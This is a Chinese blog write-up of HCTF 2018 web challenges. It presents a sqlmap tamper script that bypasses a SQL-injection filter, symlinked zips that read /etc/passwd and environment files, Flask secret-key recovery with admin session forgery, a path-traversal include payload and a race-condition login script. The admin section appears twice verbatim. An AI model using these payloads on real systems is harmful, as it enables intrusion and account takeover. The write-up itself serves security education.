Hu3sky's blog

HCTF2018 部分Web

Word count: 3,840 / Reading time: 20 min
2019/02/07 Share

hctf-2018 kzone

访问题目链接后:http://206.189.144.143:10000/
会自动跳转到qq空间
www.zip发现源码

源码审计

一开始看到

1
文件:2018.php

代码

1
2
3
4
5
<?php
require_once './include/common.php';
$realip = real_ip();
$ipcount = $DB->count("SELECT count(*) from fish_user where ip='$realip'");
...//省略

跟进real_ip()

1
2
文件:include/kill.intercept.php
方法:real_ip

用ip2long进行了ip的处理,于是这个点不存在注入
1

1
文件:include/member.php:3

代码

1
2
3
4
5
6
7
8
    ... //省略
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
... //省略

逻辑为如果cookie存在islogin并且cookie里的login_datatrue就将login_data变量json解码并将admin_user变量取出,然后带入数据库查询,但是在文件include/safe.php里进行了全局的waf
$_GET,$_POST,$_COOKIE都进行了过滤

1
2
3
4
5
6
7
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i'; //忽略大小写匹配
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}

于是想办法绕过waf
由于json_decode函数的自身特性,会自动将json数据Unicode解码,并且waf没有过滤反斜线 于是这里就可以绕过waf,(在writeup中是通过
innodb_table_stats 来绕过or的,因为information_schema出现了or)

于是编写tamper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
data = '''{"admin_user":"%s"};'''
payload = payload.lower()

payload = payload.replace('u', '\u0075')
payload = payload.replace('o', '\u006f')
payload = payload.replace('i', '\u0069')
payload = payload.replace('\'', '\u0027')
payload = payload.replace('\"', '\u0022')
payload = payload.replace(' ', '\u0020')
payload = payload.replace('s', '\u0073')
payload = payload.replace('#', '\u0023')
payload = payload.replace('>', '\u003e')
payload = payload.replace('<', '\u003c')
payload = payload.replace('-', '\u002d')
payload = payload.replace('=', '\u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return data % payload

接着拿sqlmap跑就ok
getflag
hctf{hctf_2018_kzone_Author_Li4n0}

hide and seek

1
尝试登陆admin/admin
1
于是随便登陆一个
1
上传一个php文件
1
于是上传zip文件
在请求包里看到了session
1
感觉很像flask的session
于是拿去解密
1
果然是,那么现在需要拿到secret_key,入手点只有在这个上传点

zip软连接

参考:https://xz.aliyun.com/t/2589
上传一个zip,如下
1
zip里有test.txt,内容为Hu3sky
上传后
1
内容被显示了出来
测试php代码,无法被解析
1

那么尝试构造软连接
ln -s /etc/passwd test
接着压缩test
zip -y test.zip test
然后上传zip,成功读到/etc/passwd

1
想读一下工作目录/proc/mounts结果全是本机的docker文件。。于是去读/proc/self/environ环境变量
1
于是去读一下这个文件
/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
发现uwsgi 配置
1
module是应用程序文件
即是app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
读到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'


try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)


if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)

由于

1
2
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))

aGN0Zg==即hctf,所以说不能直接去读flag

session伪造

看到app.config['SECRET_KEY'] = str(random.random()*100)
secret_key为随机数,随机数种子为random.seed(uuid.getnode())即本机的mac地址
/sys/class/net/eth0/address可以读到
mac地址为02:42:ac:11:00:02
转换地址 https://www.vultr.com/tools/mac-converter/?mac_address=
转为十进制即为2485377892354,也就是seed

1
2
3
>>> random.seed(2485377892354)
>>> str(random.random()*100)
'42.42408197657815'

得到secret_key

利用脚本

1
2
3
(test_py3) λ python flask_session加密.py encode -s "42.42408197657815" -t "{'username': 'admin'
}"
eyJ1c2VybmFtZSI6ImFkbWluIn0.XFuRWA.l_cGt50x2aQBqa_BO9x4xc9Erak

于是登陆,伪造session
1

hctf-warmup 题目分析

首先点开题目的hint
http://warmup.2018.hctf.io/index.php?file=hint.php
看url的形式就知道本题考查的是文件包含
hint说flag not here, and flag in ffffllllaaaagggg
于是尝试去读ffffllllaaaagggg
http://warmup.2018.hctf.io/index.php?file=php://filter/read=convert.base64-encode/resource=ffffllllaaaagggg
说是you cant see it
试了几种包含的方式都包含不了
通过扫目录 发现了源码 source.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

现在需要进行代码审计
先看

1
2
3
4
5
6
7
8
9
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}

做了几个判断

  1. 如果$_REQUEST['file']不为空,即通过GET,POST,COOKIE传入了file参数
  2. is_string检测传入的file是否为字符串
  3. 调用emmm类的checkFile方法对file进行处理

如果3个同时满足,就包含file传入的东西,然后exit。否则就echo首页的图片

然后看emmm类的checkFile函数
这里的$page就是我们传入的file参数
首先定义$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
接着进入第一个if判断
如果file没有传入或者内容不是字符串就直接return false
然后进入第二个if判断
如果file的内容在$whitelist数组里面,就return ture
然后对内容进行处理

1
2
3
4
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')

先解释mb_strpos()即寻找?$page里面第一次出现的位置
例如 $page=hu3sky?abc 返回值为6
所以现在 mb_substr()获取前六位 即 hu3sky
接着判断$_page是否在array里 解码 然后再用同样的方法对$_page进行处理 如果依然在数组里 就返回true

所以我们来看payload
hint.php%3f/../../../../../../../../../../../ffffllllaaaagggg
(或者source.php%3f/../../../../../../../../../../../ffffllllaaaagggg
首先是?截断 经过两次判断,均是取的?前的 hint.php 在 数组中 所以返回true
然后包含的时候会把hint.php?当作一个目录,因为这个目录不存在 所以我们只需要跳出目录就行了

hctf-admin题目分析

看了一叶飘零师傅的题解,学到了此题的三个解法
预期解法是Unicode欺骗 非预期的session伪造和条件竞争

Unicode欺骗

此题考查的一个知识点是Unicode欺骗
拿到源码后分析源码
在app/routes.py下
注册,登陆,修改密码都对name进行了处理,将大写转为小写。
注册

1
2
3
4
5
6
7
8
def register():

if current_user.is_authenticated:
return redirect(url_for('index'))

form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)

登陆

1
2
3
4
5
6
7
8
@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))

form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)

修改密码

1
2
3
4
5
6
7
@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])

都用到了strlower()函数,看一下这个函数

1
2
3
def strlower(username):
username = nodeprep.prepare(username)
return username

问题出在nodeprep.prepare()
这个函数会把大写转换为小写 并且nodeprep.prepare()会做如下转换
假如有一个字符 第一次调用函数时会造成ᴬ->A,第二次调用时会A->a
所以思路就是 我们注册一个ᴬdmin账号 此时第一次调用nodeprep.prepare() 账号变为
Admin
1

然后再修改这个账号的密码
此时会再一次调用nodeprep.prepare()函数,所以说改的密码就会变成admin的密码,于是再用admin登陆即可
1

session伪造

首先我创建一个hu4sky的账号
用p神的flask session解密脚本解密这个账号的session
解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

解密后的内容如下

1
2
3
(test_py3) λ python flask_session解密.py ".eJxFkEGLwjAQhf_KMmcPNVsvggclNShMQrtZy-QiWmvTtHWhVdZG_O8bZNm9PebxPt6bB-zPfTlYmF_
7WzmBfX2C-QPejjAHcpU3Gkeji4g0McM3o-HLb2Q7J33WoadY5aZBkY6KL2PSySi7tUVeMGLJPega802kuLWkV50SpiaXNUG3UiQz8kXImcAyLeXJXQmKDV9Z1DijPJ1KljXI0Ie8U_zTk668dBiRT8O1iCQ_BZZs0dECnhMohv68v3415eV_Asta7DaRETSTAmNi6Z38yipO01DTG761SluHYmulXwdc9U7p4oWru0NV_pHSndEfv87l0AUD7C0emhEmcBvK_vU4mEbw_AGvvWz9.W-q3fA.h2EVERGD_FJH1ohWca0ouYKJ-9k"
{'image': b'AVSI', 'csrf_token': b'cde2b4df94c8cd1c0a865073d2a98c0ba71da87a', '_fresh': True, '_id': b'b83e32e74a66d22d003ec74f3689fd0d2808a126aa076ca16ab1b488aa0f8fbb4da0e4a9c7286c76eaa18f8d0a139ad57dd3c388c853a83634c4637447da3e26', 'user_id': '10', 'name': 'hu4sky'}

而再index.html 中有

1
2
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>

所以说只需要将session['name']置为admin 即可getflag
flask 加密脚本
https://github.com/noraj/flask-session-cookie-manager/blob/master/session_cookie_manager.py

需要secret keyapp/config.py
ckj123
加密

1
2
3
4

(test_py3) λ python flask_session加密.py encode -s "ckj123" -t "{'image': b'AVSI', 'csrf_token': b'cde2b4df94c8cd1c0a865073d2a98c0ba71da8
7a', '_fresh': True, '_id': b'b83e32e74a66d22d003ec74f3689fd0d2808a126aa076ca16ab1b488aa0f8fbb4da0e4a9c7286c76eaa18f8d0a139ad57dd3c388c853a83634c4637447da3e26', 'user_id': '1', 'name': 'admin'}"
.eJxFkFFrwjAUhf_KuM8-1Ky-CD4oqUHhJrTLLDcv4mptmjYOqjIb8b8vjLG9He7hfJxzH7A_DfXFwvw63OoJ7NsjzB_w8gFzINcEo3E0ukpIEzN8Mxq-_EK2czIUHgOlqjQdinxUfJmSzkbp1xZ5xYhl96hbLDeJ4taSXnklTEuu6KLupchmFKqYM5FleiqzuxKUGr6yqHFGZT6VrOiQYYh5p_h7IN0E6TChkMdrlUh-jCzZo6MFPCdQXYbT_vrZ1ef_Cazo0W8SI2gmBabE8juFlVWcprFmMHxrlbYOxdbKsI645pXyxQ-u9Yem_iPlO6Pffp3zwUcDDkffnmECt0s9_PwNpvD8BtUPbG4.W-q33Q.LCixv7M1b2tb4U8ySMi-voSIw4g

getflag

1

条件竞争

看代码app/routes.py
login处和change处都对name进行session赋值 并且没有check身份

1
2
3
4
5
6
7
8
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))

form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
1
2
3
4
5
6
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])

name可控
所以思路是

  1. a用户登陆并且尝试修改密码
  2. 登出后以admin作为用户名登陆

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import threading

def login(s,username,password):
data = {
'username': username,
'password': password,
'submit': ''
}

url = 'http://admin.2018.hctf.io/login'
return s.post(url,data=data)

def change(s,newpassword):
data = {
'newpassword':newpassword
}

url = 'http://admin.2018.hctf.io/change'
return s.post(url,data=data)

def logout(s):
url = 'http://admin.2018.hctf.io/logout'
return s.get(url)

def func1(s):
login(s,'hu3sky','hu3sky')
change(s,'12345')

def func2(s):
logout(s)
login(s,'admin','12345')
if '<a href="/index">/index</a>' in res.text:
print('finish')

def main():
for i in range(1,1000):
s = requests.Session()
print(i)
t1 = threading.Thread(target=func1,args=(s,))
t2 = threading.Thread(target=func2,args=(s,))
t1.start()
t2.start()

if __name__ == '__main__':
main()

hctf-admin题目分析

看了一叶飘零师傅的题解,学到了此题的三个解法
预期解法是Unicode欺骗 非预期的session伪造和条件竞争

Unicode欺骗

此题考查的一个知识点是Unicode欺骗
拿到源码后分析源码
在app/routes.py下
注册,登陆,修改密码都对name进行了处理,将大写转为小写。
注册

1
2
3
4
5
6
7
8
def register():

if current_user.is_authenticated:
return redirect(url_for('index'))

form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)

登陆

1
2
3
4
5
6
7
8
@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))

form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)

修改密码

1
2
3
4
5
6
7
@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])

都用到了strlower()函数,看一下这个函数

1
2
3
def strlower(username):
username = nodeprep.prepare(username)
return username

问题出在nodeprep.prepare()
这个函数会把大写转换为小写 并且nodeprep.prepare()会做如下转换
假如有一个字符 第一次调用函数时会造成ᴬ->A,第二次调用时会A->a
所以思路就是 我们注册一个ᴬdmin账号 此时第一次调用nodeprep.prepare() 账号变为
Admin
Alt text
然后再修改这个账号的密码
此时会再一次调用nodeprep.prepare()函数,所以说改的密码就会变成admin的密码,于是再用admin登陆即可
Alt text

session伪造

首先我创建一个hu4sky的账号
用p神的flask session解密脚本解密这个账号的session
解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

解密后的内容如下

1
2
3
(test_py3) λ python flask_session解密.py ".eJxFkEGLwjAQhf_KMmcPNVsvggclNShMQrtZy-QiWmvTtHWhVdZG_O8bZNm9PebxPt6bB-zPfTlYmF_
7WzmBfX2C-QPejjAHcpU3Gkeji4g0McM3o-HLb2Q7J33WoadY5aZBkY6KL2PSySi7tUVeMGLJPega802kuLWkV50SpiaXNUG3UiQz8kXImcAyLeXJXQmKDV9Z1DijPJ1KljXI0Ie8U_zTk668dBiRT8O1iCQ_BZZs0dECnhMohv68v3415eV_Asta7DaRETSTAmNi6Z38yipO01DTG761SluHYmulXwdc9U7p4oWru0NV_pHSndEfv87l0AUD7C0emhEmcBvK_vU4mEbw_AGvvWz9.W-q3fA.h2EVERGD_FJH1ohWca0ouYKJ-9k"
{'image': b'AVSI', 'csrf_token': b'cde2b4df94c8cd1c0a865073d2a98c0ba71da87a', '_fresh': True, '_id': b'b83e32e74a66d22d003ec74f3689fd0d2808a126aa076ca16ab1b488aa0f8fbb4da0e4a9c7286c76eaa18f8d0a139ad57dd3c388c853a83634c4637447da3e26', 'user_id': '10', 'name': 'hu4sky'}

而再index.html 中有

1
2
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>

所以说只需要将session['name']置为admin 即可getflag
flask 加密脚本
https://github.com/noraj/flask-session-cookie-manager/blob/master/session_cookie_manager.py

需要secret keyapp/config.py
ckj123
加密

1
2
3
(test_py3) λ python flask_session加密.py encode -s "ckj123" -t "{'image': b'AVSI', 'csrf_token': b'cde2b4df94c8cd1c0a865073d2a98c0ba71da8
7a', '_fresh': True, '_id': b'b83e32e74a66d22d003ec74f3689fd0d2808a126aa076ca16ab1b488aa0f8fbb4da0e4a9c7286c76eaa18f8d0a139ad57dd3c388c853a83634c4637447da3e26', 'user_id': '1', 'name': 'admin'}"
.eJxFkFFrwjAUhf_KuM8-1Ky-CD4oqUHhJrTLLDcv4mptmjYOqjIb8b8vjLG9He7hfJxzH7A_DfXFwvw63OoJ7NsjzB_w8gFzINcEo3E0ukpIEzN8Mxq-_EK2czIUHgOlqjQdinxUfJmSzkbp1xZ5xYhl96hbLDeJ4taSXnklTEuu6KLupchmFKqYM5FleiqzuxKUGr6yqHFGZT6VrOiQYYh5p_h7IN0E6TChkMdrlUh-jCzZo6MFPCdQXYbT_vrZ1ef_Cazo0W8SI2gmBabE8juFlVWcprFmMHxrlbYOxdbKsI645pXyxQ-u9Yem_iPlO6Pffp3zwUcDDkffnmECt0s9_PwNpvD8BtUPbG4.W-q33Q.LCixv7M1b2tb4U8ySMi-voSIw4g

getflag

Alt text

条件竞争

看代码app/routes.py
login处和change处都对name进行session赋值 并且没有check身份

1
2
3
4
5
6
7
8
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))

form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
1
2
3
4
5
6
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])

name可控
所以思路是

  1. a用户登陆并且尝试修改密码
  2. 登出后以admin作为用户名登陆

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import threading

def login(s,username,password):
data = {
'username': username,
'password': password,
'submit': ''
}

url = 'http://admin.2018.hctf.io/login'
return s.post(url,data=data)

def change(s,newpassword):
data = {
'newpassword':newpassword
}

url = 'http://admin.2018.hctf.io/change'
return s.post(url,data=data)

def logout(s):
url = 'http://admin.2018.hctf.io/logout'
return s.get(url)

def func1(s):
login(s,'hu3sky','hu3sky')
change(s,'12345')

def func2(s):
logout(s)
login(s,'admin','12345')
if '<a href="/index">/index</a>' in res.text:
print('finish')

def main():
for i in range(1,1000):
s = requests.Session()
print(i)
t1 = threading.Thread(target=func1,args=(s,))
t2 = threading.Thread(target=func2,args=(s,))
t1.start()
t2.start()

if __name__ == '__main__':
main()
CATALOG
  1. 1. hctf-2018 kzone
    1. 1.1. 源码审计
  2. 2. hide and seek
    1. 2.1. zip软连接
    2. 2.2. session伪造
  3. 3. hctf-warmup 题目分析
  4. 4. hctf-admin题目分析
    1. 4.1. Unicode欺骗
    2. 4.2. session伪造
    3. 4.3. 条件竞争
  5. 5. hctf-admin题目分析
    1. 5.1. Unicode欺骗
    2. 5.2. session伪造
    3. 5.3. 条件竞争